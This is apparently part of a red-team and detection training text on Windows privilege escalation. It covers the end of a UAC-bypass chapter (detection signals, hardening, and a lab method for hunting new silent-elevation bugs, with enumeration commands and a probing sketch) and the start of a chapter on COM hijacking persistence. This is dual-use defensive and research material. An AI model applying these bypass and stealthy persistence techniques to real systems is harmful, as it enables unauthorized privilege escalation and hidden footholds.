**DLL names to watch outside System32/KnownDlls:** `cryptbase`, `cryptsp`, `wdscore`, `ntwdblib`, `dbgcore`, `unbcl`, `actionqueue`, `unattend`, `shcore`, `comctl32` (DotLocal), `elsext`, `wbemcomn`, `atl`, `mscoree`, `slc`, `netutils`, `dismcore`, `gdiplus`, `powprof`, `devobj`, `wow64log`, `duser`, `osksupport`, `pcadm`, `PerformanceTraceHandler`, `EmbeddedBrowserWebView`, `BluetoothDiagnosticUtil`, `iscsiexe`, `srrstr`, `LogProvider.dll` (in `%TEMP%\{guid}`).
|
||||||
|
|
||||||
|
**High-fidelity behavioral patterns:**
|
||||||
|
|
||||||
|
1. High-integrity child process (`cmd`/`powershell`/payload in user paths) whose parent is a known auto-elevate binary (`fodhelper`, `computerdefaults`, `eventvwr`→`mmc`, `sdclt`, `wsreset`, ...) — near-zero FP ([32], [36]).
|
||||||
|
2. Registry write to a watched association key (or emptied `DelegateExecute`) followed within seconds by the matching System32 binary — the classic automated chain ([33], [37]).
|
||||||
|
3. `HKCU\Environment` writes of `windir` / `COR_PROFILER_PATH` plus `schtasks /Run /TN ...SilentCleanup` ([34]).
|
||||||
|
4. Process execution whose path contains trailing spaces (`C:\Windows \System32\...`) — mock trusted directory ([28], [37]).
|
||||||
|
5. Image loads of the watchlist DLLs from non-System32 locations by elevated Microsoft-signed processes.
|
||||||
|
6. Elevation events with **no consent.exe on the wire** (silent elevation), plus command lines/strings containing `Elevation:Administrator!new:` (hunt reversed/XORed forms too).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Mitigations and hardening
|
||||||
|
|
||||||
|
Ordered by impact ([1], [4], [44]):
|
||||||
|
|
||||||
|
1. **Standard-user accounts — the #1 control, per UACME itself.** No admin token, no bypass possible. Pair with Privileged Access Management (M1026); this single decision retires the entire chapter.
|
||||||
|
2. **UAC slider to *Always notify*** (`ConsentPromptBehaviorAdmin=2`, `PromptOnSecureDesktop=1`): kills most auto-elevate bypasses — but **not all**: SilentCleanup env (#34), token modification (#35), the DiskCleanup race (#26), SSPI (#78), PCA (#69), RequestTrace (#80), and QuickAssist (#81) are AlwaysNotify-compatible per UACME. Defense-in-depth remains mandatory.
|
||||||
|
3. **Lock the policy knobs:** `ConsentPromptBehaviorUser=0` (auto-deny for standard users); keep `EnableLUA=1`; set `FilterAdministratorToken=1` for the built-in Administrator; keep `PromptOnSecureDesktop=1`.
|
||||||
|
4. **Application control:** WDAC/AppLocker rules blocking child processes of auto-elevate binaries and DLL loads from user-writable paths; the `PreferSystem32Images` mitigation; attack-surface monitoring of every §5 registry key.
|
||||||
|
5. **Patch currency:** many methods died via OS hardening — RS1–RS5 shell updates, the 19H1 COM-handler fix, and Win11 24H2/25H2 (which killed mock dirs, the consent DotLocal, `wow64log`, `dccw`, .NET deserialization, `wsreset`, `IEditionUpgradeManager`, and taskhostw PCA). Current builds materially shrink the surface.
|
||||||
|
6. **Assume breach:** detect (§5) rather than prevent; monitor `LocalAccountTokenFilterPolicy`/`EnableLUA` tampering — both require prior admin and are therefore post-exploitation signals ([4], [44]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Research Lab: Finding New UAC Bypasses
|
||||||
|
|
||||||
|
### Hunting hypothesis
|
||||||
|
|
||||||
|
Three classes of new bugs remain in this category:
|
||||||
|
|
||||||
|
1. **Undocumented methods on already-approved COM classes.** `COMAutoApprovalList` contains more classes than have been publicly weaponized, and each is one vtable away from a `ShellExec`-grade primitive — the newest UACME method (#82, `UICleanmgrAdminHelper`/`UICleanmgrHelper` via `SystemSettingsAdminFlows.exe`, v3.7.0) was found exactly this way ([1], [39]).
|
||||||
|
2. **New auto-elevated binaries with poisonable inputs.** Every Windows feature update ships new Microsoft-signed System32 EXEs; each new `autoElevate` manifest, each new `HKCU\Software\Classes` read, and each new unqualified non-KnownDlls import is a candidate (fodhelper itself was a Windows 10 addition ([12])).
|
||||||
|
3. **New expansion/normalization desyncs.** SilentCleanup (environment expansion ([13])) and mock directories (path normalization ([14])) are one bug class: the trust checker and the executor disagree about a string. Scheduled-task actions, SxS redirection, WOW64 paths, and package-relative paths remain under-audited for the same desync.
|
||||||
|
|
||||||
|
### Enumeration
|
||||||
|
|
||||||
|
Build the target list before testing anything.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 1. COM classes approved for silent elevation (the master list)
|
||||||
|
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList"
|
||||||
|
|
||||||
|
# 2. Classes registered for elevation via Elevation\Enabled = 1 (illustrative sketch)
|
||||||
|
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue | Where-Object {
|
||||||
|
(Get-ItemProperty "$($_.PSPath)\Elevation" -ErrorAction SilentlyContinue).Enabled -eq 1
|
||||||
|
} | Select-Object -ExpandProperty PSChildName
|
||||||
|
|
||||||
|
# 3. Auto-elevate manifests in System32 (manifest XML is embedded in the binary) (illustrative)
|
||||||
|
findstr /m /c:"autoElevate" C:\Windows\System32\*.exe
|
||||||
|
|
||||||
|
# 4. High-privilege scheduled tasks whose action expands an environment variable (SilentCleanup pattern)
|
||||||
|
schtasks /query /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /xml & schtasks /query /xml | findstr /i "HighestAvailable"
|
||||||
|
```
|
||||||
|
|
||||||
|
In OleViewDotNet (run as administrator): cross-reference the `COMAutoApprovalList` CLSIDs against their registrations, dump each class's interfaces and methods from its type library or proxy stub, and rank methods by argument types — `BSTR` command/path parameters first. The `ICMLuaUtil` pattern (placeholder vtable slots, then `ShellExec`) is what you are hunting ([22]).
|
||||||
|
|
||||||
|
### Triage heuristics
|
||||||
|
|
||||||
|
A candidate is promising if it checks most of these boxes:
|
||||||
|
|
||||||
|
- [ ] Auto-approved: on `COMAutoApprovalList`, or `autoElevate="true"` + Microsoft-signed + secure directory (the §1 conditions).
|
||||||
|
- [ ] Reachable from Medium IL at default policy — activation/launch produces no `consent.exe` in a default-slider VM.
|
||||||
|
- [ ] Exposes an attacker-controlled surface: `BSTR` command/path method parameters, unqualified non-KnownDlls imports, `HKCU\Software\Classes` reads, or `%var%` inside a highest-privileges task action.
|
||||||
|
- [ ] Fileless or registry-only preferred — no writes into protected paths means a longer shelf life.
|
||||||
|
- [ ] Not already among UACME's 82 methods ([1]) — check first; novelty is the contribution.
|
||||||
|
- [ ] Survives *Always notify* — the premium property; per UACME only #26, #34, #35, #69, #78, #80, #81 have it.
|
||||||
|
|
||||||
|
### Analysis workflow
|
||||||
|
|
||||||
|
**Static checklist:** signature and manifest (`autoElevate`, `uiAccess`, `requestedExecutionLevel`) → import table versus KnownDlls → strings for `HKCU\Software\Classes`, `DelegateExecute`, `Elevation:Administrator!new:`, `%windir%`-style expansions → vtable/type-library dump for approved COM classes → `AppID` launch/access security descriptors for surrogate-hosted classes (the `ElevatedFactoryServer` lesson ([19])).
|
||||||
|
|
||||||
|
**Dynamic:** snapshot a default-policy VM with Sysmon; run ProcMon with filters:
|
||||||
|
|
||||||
|
- `Process Name is <target.exe>` + `Operation is RegOpenKey` + `Path contains HKCU\Software\Classes` or `HKCU\Environment` — association/env reads by an about-to-be-elevated binary.
|
||||||
|
- `Operation is CreateFile` / image loads + `Path ends with <watchlist DLL>` + `Result is NAME NOT FOUND` in System32 — search-order hijack candidates.
|
||||||
|
- Then loop candidate CLSIDs through the elevation moniker from a Medium-IL harness, logging HRESULT, whether `consent.exe` appeared, and whether a High-IL child or side effect resulted *(illustrative sketch)*:
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
// (illustrative) elevated-class probing harness — run at Medium IL on a default-policy VM
|
||||||
|
foreach (var clsid in candidateClsids)
|
||||||
|
CoGetObject($"Elevation:Administrator!new:{clsid}", bindOpts3 /* CLSCTX_LOCAL_SERVER */, ...);
|
||||||
|
// log per candidate: HRESULT | consent.exe observed? | new High-IL process? (Sysmon 1 IntegrityLevel)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Fuzzing/mutation ideas
|
||||||
|
|
||||||
|
Typed mutation beats blind bit-flipping; the interesting space is the *trust inputs*:
|
||||||
|
|
||||||
|
- **Verb-shape mutation** across every ProgID/protocol an elevated binary resolves: `(Default)` versus `DelegateExecute` permutations, ProgID versus protocol versus AppID keys (the WSReset `AppX82a6...` pattern), `HKCU` versus merged-view edge cases.
|
||||||
|
- **Typed argument mutation on elevated interfaces:** for `ShellExec`-shaped methods — NULL/empty `lpDirectory`, UNC `lpFile`, very long strings; for copy-shaped methods — junction/symlink sources, trailing-space/dot destinations (mock-dir DNA), SxS `DotLocal` payloads.
|
||||||
|
- **Environment mutation:** every `%var%` inside any highest-privileges task action is a SilentCleanup candidate; mutate `HKCU\Environment` systematically (`windir`, `SystemDirectory` (#44), `COR_ENABLE_PROFILING`/`COR_PROFILER`/`COR_PROFILER_PATH`).
|
||||||
|
- **Path-normalization desyncs:** trailing space/dot, `\\?\` prefixes, NTFS junctions (the `dccw.exe` #36/#37 pattern) — anywhere a checker and a creator might normalize differently.
|
||||||
|
- **Vtable probing of approved classes:** published interfaces may be incomplete (`CallCustomActionDll` was found by reversing ([22])); call vtable slots with benign arguments on a snapshot VM and watch for elevated side effects.
|
||||||
|
|
||||||
|
### From lead to primitive
|
||||||
|
|
||||||
|
1. **Prove silent elevation:** at Medium IL on a default-policy VM, success means the side effect happens *and* `consent.exe` never starts (Sysmon 1).
|
||||||
|
2. **Prove the integrity jump:** the child/side effect runs at High (`S-1-16-12288`) or System (`S-1-16-16384`) — capture with `whoami /groups` or Process Explorer.
|
||||||
|
3. **Minimize the trigger:** fewest artifacts; registry-only beats file-backed, file-backed beats race-dependent.
|
||||||
|
4. **Build the matrix:** builds × slider positions × AV/EDR; record the exact fixed-in build if one exists — that is citable data in UACME README format.
|
||||||
|
5. **Confirm novelty** against UACME ([1]) and Atomic Red Team ([31]); the publication bar is a new CLSID/key/binary + a reproducible chain + a telemetry map (lineage, events, IOCs).
|
||||||
|
6. **Ship the detection with the bypass** — a Sigma rule ([37]) and Sysmon config alongside the write-up is what separates research from malware documentation.
|
||||||
|
|
||||||
|
### Further reading
|
||||||
|
|
||||||
|
- swapcontext, *UAC bypasses from COMAutoApprovalList* — enumerating and weaponizing the approved-class list ([39])
|
||||||
|
- James Forshaw, *Calling Local Windows RPC Servers* — AppInfo's RPC interface and `RAiLaunchAdminProcess` ([7])
|
||||||
|
- hfiref0x, *UACME* — the 82-method corpus; read `comsup.h` and the `ucm*Method` modules ([1])
|
||||||
|
- David Wells / Tenable, *UAC Bypass by Mocking Trusted Directories* — the normalization-desync blueprint ([14])
|
||||||
|
- zcgonvh, *Advanced Windows Task Scheduler Playbook Part 2* — from COM to UAC bypass to SYSTEM ([19])
|
||||||
|
- James Forshaw, *Reading Your Way Around UAC* — deep UAC internals series ([40])
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
[1] UACME — Defeating Windows User Account Control — hfiref0x (2026, v3.7.x) — https://github.com/hfiref0x/UACME
|
||||||
|
[2] MITRE ATT&CK T1548.002 — Bypass User Account Control — MITRE — https://attack.mitre.org/techniques/T1548/002/
|
||||||
|
[3] How User Account Control works — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works
|
||||||
|
[4] User Account Control settings and configuration — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration
|
||||||
|
[5] The COM Elevation Moniker — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker
|
||||||
|
[6] Microsoft Security Servicing Criteria for Windows — Microsoft/MSRC — https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria
|
||||||
|
[7] Calling Local Windows RPC Servers — James Forshaw, Google Project Zero (2019) — https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
|
||||||
|
[8] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
||||||
|
[9] Bypassing UAC on Windows 10 using Disk Cleanup — enigma0x3 (2016) — https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
|
||||||
|
[10] Bypassing UAC using App Paths — enigma0x3 (2017) — https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
|
||||||
|
[11] "Fileless" UAC Bypass using sdclt.exe — enigma0x3 (2017) — https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
|
||||||
|
[12] First entry: Welcome and fileless UAC bypass (fodhelper) — winscripting.blog (2017) — https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
|
||||||
|
[13] Exploiting Environment Variables in Scheduled Tasks for UAC Bypass — James Forshaw (2017) — https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html
|
||||||
|
[14] UAC Bypass by Mocking Trusted Directories — David Wells, Tenable TechBlog (2020) — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
|
||||||
|
[15] Fileless UAC Bypass in Windows Store Binary (WSReset) — Hashim Jawad, ActiveCyber (2019) — https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html
|
||||||
|
[16] Yet another sdclt UAC bypass — Emeric Nasi, sevagas — http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
|
||||||
|
[17] MSDT DLL Hijack UAC bypass — Emeric Nasi, sevagas — https://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass
|
||||||
|
[18] UAC bypass via elevated .NET applications — offsec.provadys — https://offsec.provadys.com/UAC-bypass-dotnet.html
|
||||||
|
[19] Advanced Windows Task Scheduler Playbook Part 2 (IElevatedFactoryServer) — zcgonvh — http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html
|
||||||
|
[20] Bypassing UAC with SSPI Datagram Contexts — antonioCoco, splintercod3 — https://splintercod3.blogspot.com/p/bypassing-uac-with-sspi-datagram.html
|
||||||
|
[21] Mitigate some Exploits for Windows UAC (incl. MSRC case 64957 quote) — Stefan Kanthak — https://skanthak.hier-im-netz.de/uacamole.html
|
||||||
|
[22] Reversing ICMLuaUtil: ShellExec and CallCustomActionDll — codedintrusion — https://codedintrusion.com/posts/reversing-icmluautil/
|
||||||
|
[23] Creative UAC Bypass Methods for the Modern Era — g3tsyst3m — https://g3tsyst3m.github.io/privilege%20escalation/Creative-UAC-Bypass-Methods-for-the-Modern-Era/
|
||||||
|
[24] UAC Bypass or story about three escalations (hakril APPINFO spoof) — Positive Research, Habr — https://habrahabr.ru/company/pm/blog/328008/
|
||||||
|
[25] NVD — CVE-2019-1388 Detail — NIST — https://nvd.nist.gov/vuln/detail/CVE-2019-1388
|
||||||
|
[26] CVE-2019-1388 — Abuse UAC Windows Certificate Dialog (PoC) — nobodyatall648 — https://github.com/nobodyatall648/CVE-2019-1388
|
||||||
|
[27] CISA Known Exploited Vulnerabilities Catalog — CISA — https://www.cisa.gov/known-exploited-vulnerabilities-catalog
|
||||||
|
[28] DBatLoader and Remcos RAT Sweep Eastern Europe — SentinelOne — https://www.sentinelone.com/blog/dbatloader-and-remcos-rat-sweep-eastern-europe/
|
||||||
|
[29] Fickle Stealer Distributed via Multiple Attack Chain — Fortinet FortiGuard Labs — https://www.fortinet.com/blog/threat-research/fickle-stealer-distributed-via-multiple-attack-chain
|
||||||
|
[30] Old Windows 'Mock Folders' UAC bypass used to drop malware — BleepingComputer (2023) — https://www.bleepingcomputer.com/news/security/old-windows-mock-folders-uac-bypass-used-to-drop-malware/
|
||||||
|
[31] Atomic Red Team T1548.002 tests — Red Canary — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md
|
||||||
|
[32] Detection: FodHelper UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/909f8fd8-7ac8-11eb-a1f3-acde48001122/
|
||||||
|
[33] Detection: WSReset UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/8b5901bc-da63-11eb-be43-acde48001122/
|
||||||
|
[34] Detection: .NET Profiler UAC bypass — Splunk Threat Research — https://research.splunk.com/endpoint/0252ca80-e30d-11eb-8aa3-acde48001122/
|
||||||
|
[35] Windows Handle Duplication in Known UAC-Bypass Binaries — Splunk Threat Research — https://research.splunk.com/endpoint/d7369bf5-1315-4138-b927-2dd8bb8c1da7/
|
||||||
|
[36] Windows UAC Bypass Suspicious Child Process — Splunk Threat Research — https://research.splunk.com/endpoint/453a6b0f-b0ea-48fa-9cf4-20537ffdd22c/
|
||||||
|
[37] Sigma — Generic Signature Format for SIEM Systems (UAC bypass rule set) — SigmaHQ — https://github.com/SigmaHQ/sigma
|
||||||
|
[38] Metasploit module: bypassuac_eventvwr — Rapid7 — https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb
|
||||||
|
[39] UAC bypasses from COMAutoApprovalList — swapcontext (2020) — https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html
|
||||||
|
[40] Reading Your Way Around UAC (Parts 1–3) — James Forshaw (2017) — https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html
|
||||||
|
[41] Accessing Access Tokens for UIAccess — James Forshaw (2019) — https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html
|
||||||
|
[42] UAC Bypass via SystemPropertiesAdvanced.exe and DLL Hijacking — egre55 — https://egre55.github.io/system-properties-uac-bypass/
|
||||||
|
[43] Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses — V3ded — https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses
|
||||||
|
[44] Hardening Microsoft Windows 10/11 Workstations (UAC policy recommendations) — Australian Cyber Security Centre (2025) — https://www.cyber.gov.au/sites/default/files/2025-09/hardening_microsoft_windows_10_workstations_september_2025.pdf
|
||||||
|
[45] In-Memory Loader Drops ScreenConnect (elevated COM abuse) — Zscaler ThreatLabz — https://www.zscaler.com/blogs/security-research/memory-loader-drops-screenconnect
|
||||||
@@ -0,0 +1,795 @@
|
|||||||
|
# 05 · COM Persistence & Hijacking
|
||||||
|
|
||||||
|
> **Audience / level:** Red team operators and detection engineers; no COM internals assumed at the start, ramping to in-the-wild tradecraft and original research methodology. **Prerequisites:** basic Windows registry literacy (hives, `reg.exe`, Regedit), PowerShell basics, and the activation fundamentals from the earlier chapters (helpful but not required — section 1 rebuilds them). **Estimated reading time:** 90–120 minutes.
|
||||||
|
> After this chapter you will be able to explain exactly how COM activation resolves through the registry, plant per-user persistence that no default Autoruns view shows, reproduce every documented hijack family (CLSID, ComHandler, TreatAs, TypeLib, phantom objects) in a lab, build a pass-through proxy DLL that keeps the host stable, and hunt for *new* hijackable classes on your own.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. From zero: how COM activation resolves through the registry](#1-from-zero-how-com-activation-resolves-through-the-registry)
|
||||||
|
- [2. Persistence vectors](#2-persistence-vectors)
|
||||||
|
- [2.1 CLSID and InprocServer32 hijacking (per-user shadowing)](#21-clsid-and-inprocserver32-hijacking-per-user-shadowing)
|
||||||
|
- [2.2 Scheduled-task ComHandler persistence](#22-scheduled-task-comhandler-persistence-hijack-the-tasks-com-class)
|
||||||
|
- [2.3 TreatAs redirection (CoTreatAsClass)](#23-treatas-redirection-cotreatasclass)
|
||||||
|
- [2.4 TypeLib hijacking and the script: moniker](#24-typelib-hijacking-and-the-script-moniker-fileless-url-rearming-persistence)
|
||||||
|
- [2.5 ProgID hijacking](#25-progid-hijacking-name-based-resolution-shadowing)
|
||||||
|
- [2.6 Phantom objects and the ClickOnce variant](#26-phantom-objects-and-the-clickonce-variant-register-what-was-never-there)
|
||||||
|
- [2.7 Pass-through proxy DLL persistence](#27-pass-through-proxy-dll-persistence-stability-tradecraft-for-every-vector-above)
|
||||||
|
- [3. Tooling](#3-tooling)
|
||||||
|
- [4. Detection and hunting](#4-detection-and-hunting)
|
||||||
|
- [5. Mitigations and hardening](#5-mitigations-and-hardening)
|
||||||
|
- [Research Lab: Discovering New COM Persistence](#research-lab-discovering-new-com-persistence)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. From zero: how COM activation resolves through the registry
|
||||||
|
|
||||||
|
The Component Object Model (COM) is Windows' binary interface standard: a client asks for an object by a class identifier and receives interface pointers it can call methods on. The operating system — not the client — decides *which binary* backs that class, and it decides by reading the registry. Whoever controls the registry entry controls the code that runs. That single fact is the entire foundation of COM persistence.
|
||||||
|
|
||||||
|
> **Beginner note:** A **CLSID** (class identifier) is a 128-bit GUID, conventionally written `{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}`, that names a COM class. A **COM server** is the binary that implements the class — either a DLL loaded into the caller's process (`InprocServer32`) or an EXE launched as a separate process (`LocalServer32`). The client activates the class with `CoCreateInstance(CLSID, ...)`, and the COM runtime (`ole32.dll` / `combase.dll`) looks the CLSID up in the registry to find the server path. The client never needs to know where the binary lives — which is exactly why swapping the path is invisible to it.
|
||||||
|
|
||||||
|
**`HKEY_CLASSES_ROOT` is not a real hive.** It is a *merged view*, constructed at query time, of two underlying locations ([2]):
|
||||||
|
|
||||||
|
- `HKLM\SOFTWARE\Classes` — machine-wide registrations, writable only by administrators.
|
||||||
|
- `HKCU\SOFTWARE\Classes` — per-user registrations, writable by the owning (unprivileged) user.
|
||||||
|
|
||||||
|
When the same subkey or value exists in both, **the per-user (HKCU) entry wins**. Microsoft's own documentation of the merged view states this precedence explicitly ([2]). Physically, the per-user data lives in the user's hive files (`NTUSER.DAT` and `UsrClass.dat`, surfaced to tools as `HKU\<SID>\Software\Classes` and `HKU\<SID>_Classes`) and is re-read at every logon ([4], [5]).
|
||||||
|
|
||||||
|
> **Key idea:** Because HKCU shadows HKLM at merge time, *any* COM class registered machine-wide can be redirected per-user with zero privileges. No admin rights, no service, no driver, no autostart entry — just a handful of values under `HKCU\Software\Classes`. This is the root primitive behind every technique in this chapter.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: `HKCR\CLSID\{...}` is a funnel over `HKCU\Software\Classes` (top) and `HKLM\SOFTWARE\Classes` (bottom). Where both define the same key, the HKCU copy — shown in red — eclipses the HKLM original for that user only, and the merge happens at query time with no admin check.*
|
||||||
|
|
||||||
|
**The resolution path.** For an in-process activation of `CoCreateInstance(CLSID, ...)`, the COM runtime consults, in order ([4]):
|
||||||
|
|
||||||
|
1. `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` (or the `LocalServer32`, `InprocHandler32`, or `TreatAs` subkeys) — checked first;
|
||||||
|
2. `HKCR\CLSID\{CLSID}\...` — the merged view, effectively the HKLM registration if no HKCU shadow exists;
|
||||||
|
3. `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\` — a legacy shell fallback.
|
||||||
|
|
||||||
|
32-bit processes on 64-bit Windows additionally use the WoW64 reflection path `HKCU\Software\Classes\Wow6432Node\CLSID\...` — critical when the target process is 32-bit (the classic example being 32-bit Microsoft Office) ([4], [23]).
|
||||||
|
|
||||||
|
**Anatomy of an `InprocServer32` key.** The values that matter ([4]):
|
||||||
|
|
||||||
|
| Value | Type | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `(Default)` | `REG_SZ` / `REG_EXPAND_SZ` | Full path to the server DLL |
|
||||||
|
| `ThreadingModel` | `REG_SZ` | `Apartment` (STA), `Free` (MTA), `Both`, or `Neutral` — which COM apartment the object joins |
|
||||||
|
| `LoadWithoutCOM` | `REG_SZ` | Shell-only: honored by shell32 `SHCoCreateInstance` to load the DLL by path without full COM checks (abused in the eventvwr crossover, §2.1) |
|
||||||
|
|
||||||
|
> **Beginner note:** An **apartment** is COM's threading boundary. A *single-threaded apartment* (STA, `ThreadingModel=Apartment`) serializes calls to the object on one thread; a *multithreaded apartment* (MTA, `Free`) allows concurrent calls. `Both` means the object tolerates whichever apartment the client lives in. If the hijack registration declares a threading model the client does not expect, COM silently inserts proxy/stub marshaling between apartments — slow at best, a hung or crashed host at worst. Matching the original model is a stability requirement, not a nicety (§2.7).
|
||||||
|
|
||||||
|
**`InprocServer32` vs `LocalServer32`.** The two server shapes behave very differently as persistence ([4]):
|
||||||
|
|
||||||
|
- `InprocServer32` → a DLL mapped into the *caller's* process via `LoadLibrary`; `ole32`/`combase` then calls the exported `DllGetClassObject` to obtain the class factory. This is the most common persistence shape: your code runs inside a legitimate, often Microsoft-signed host (explorer.exe, taskhostw.exe, a browser) and inherits its integrity and reputation.
|
||||||
|
- `LocalServer32` → an EXE (or an arbitrary command line) launched as a new process by the DCOM Server Process Launcher (`svchost.exe -k DcomLaunch`) with the `-Embedding` switch. Because the value may include arguments, CrowdStrike demonstrated fileless persistence with `cmd.exe`/`powershell.exe` plus script arguments in a `LocalServer32` value ([16]). Detection anchor: a properly instantiated COM server spawns from `svchost.exe`; any other parent for an `-Embedding` command line is suspicious ([4]).
|
||||||
|
|
||||||
|
**Phantom, orphaned, and abandoned objects.** Two degenerate registration states are persistence gold ([4], [13], [16], [25]):
|
||||||
|
|
||||||
|
1. **Orphaned registrations** — the CLSID exists but the binary its `InprocServer32`/`LocalServer32` points to does not (leftovers of uninstalled software). bohops' canonical example is VMware Workstation's leftover `vmnetbridge.dll` registration at CLSID `{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}` ([4]). If the expected directory is attacker-writable, dropping a payload at the expected path hijacks the object **without touching the registry at all**; if only the registry is writable (HKCU shadow), you do not even need the original path.
|
||||||
|
2. **Undefined-but-referenced classes** — programs call `CoCreateInstance` on CLSIDs that are not registered anywhere (ProcMon shows `NAME NOT FOUND`). Registering that CLSID yourself in HKCU creates a brand-new "phantom" object the program then loads. Advantages over classic hijacking: **no legitimate value is overwritten, no functionality breaks, and there is nothing to diff** (CrowdStrike ClickOnce research, 2025 ([16]); pentestlab/SpecterOps methodology ([15], [25])).
|
||||||
|
|
||||||
|
**Why this persistence survives and stays quiet.** Three properties make COM hijacking a tier-one userland persistence mechanism ([4], [5]):
|
||||||
|
|
||||||
|
- It lives **entirely in the registry**, inside the user's own hive files, re-read at every logon. There is no Run-key entry, no service, no scheduled-task modification for a defender to enumerate.
|
||||||
|
- The trigger is **normal system activity**: a legitimate, frequently Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, OUTLOOK.EXE, browsers) performs the `LoadLibrary` of your DLL. Execution inherits the host's integrity level and reputation, and no new suspicious process appears.
|
||||||
|
- **Autoruns has a blind spot**: Sysinternals Autoruns enumerates only specific COM categories and does not diff the full `HKCU\Software\Classes\CLSID` tree against HKLM, so a classic per-user CLSID shadow is invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}` or `mmc.exe -Embedding payload.msc`), the visible autorun points at a signed Microsoft binary while the payload path hides in the Classes hive ([5]).
|
||||||
|
|
||||||
|
> **Warning:** MITRE ATT&CK maps COM hijacking as **T1546.015** under *both* Persistence and Privilege Escalation tactics ([1]). The privesc angle is real: when the triggering host auto-elevates (eventvwr.exe, §2.1), a per-user hijack converts Medium-integrity code execution into a High-integrity payload with no prompt.
|
||||||
|
|
||||||
|
> **Legal:** Every technique in this chapter executes arbitrary code on a target host and several survive reboots. Use only on systems you own or are explicitly authorized to test, inside written scope. The same registry writes are high-signal detection opportunities — assume a competent blue team is watching.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Persistence vectors
|
||||||
|
|
||||||
|
Each vector below follows the same template: MITRE mapping, publication history, numbered mechanics, prerequisites, a lab-runnable proof of concept, the telemetry it leaves, and mitigations. All of them reduce to one primitive from section 1 — a per-user registration that wins the HKCR merge — differing only in *which* registry structure the client resolves (CLSID, task-handler class, `TreatAs` link, TypeLib, ProgID, or a dangling reference).
|
||||||
|
|
||||||
|
### 2.1 CLSID and InprocServer32 hijacking (per-user shadowing)
|
||||||
|
|
||||||
|
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** first public discussion of per-user COM abuse by Jon Larimer, 2011 (per leoloobeek ([11])); earliest vendor documentation G-Data, Oct 2014 ([6]) · **Affects:** all Windows builds implementing the HKCR per-user merge (verify in lab for specific builds)
|
||||||
|
|
||||||
|
The canonical COM persistence technique: pick a CLSID that a desirable, frequently-running host process instantiates, and register the same CLSID under `HKCU\Software\Classes\CLSID` with an `InprocServer32` pointing at your DLL. The HKCU shadow wins the merge, the host loads your code, and the machine-wide registration is never touched ([4], [5], [6]). The technique has been used in the wild by APT28/Sednit (Seduploader, JHUHUGIT) ([19], [37]), Turla's ComRAT ([38]), BBSRAT, PcShare, and a long tail of others ([1]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: a client process (e.g. explorer.exe) calls `CoCreateInstance`, combase resolves the CLSID through the registry, and the HKCU `InprocServer32` naming the attacker DLL (red path) is consulted before — and shadows — the legitimate HKLM registration (greyed path). `LoadLibrary` then maps the attacker DLL into the client and `DllGetClassObject` runs.*
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Target selection.** Identify a CLSID instantiated by an auto-start, Microsoft-signed host in the user's session — explorer.exe, taskhostw.exe, a browser, Outlook (see documented cases below and the Research Lab).
|
||||||
|
2. **Verify the baseline.** Confirm the HKLM registration exists (so client code keeps working) and that no HKCU shadow already exists.
|
||||||
|
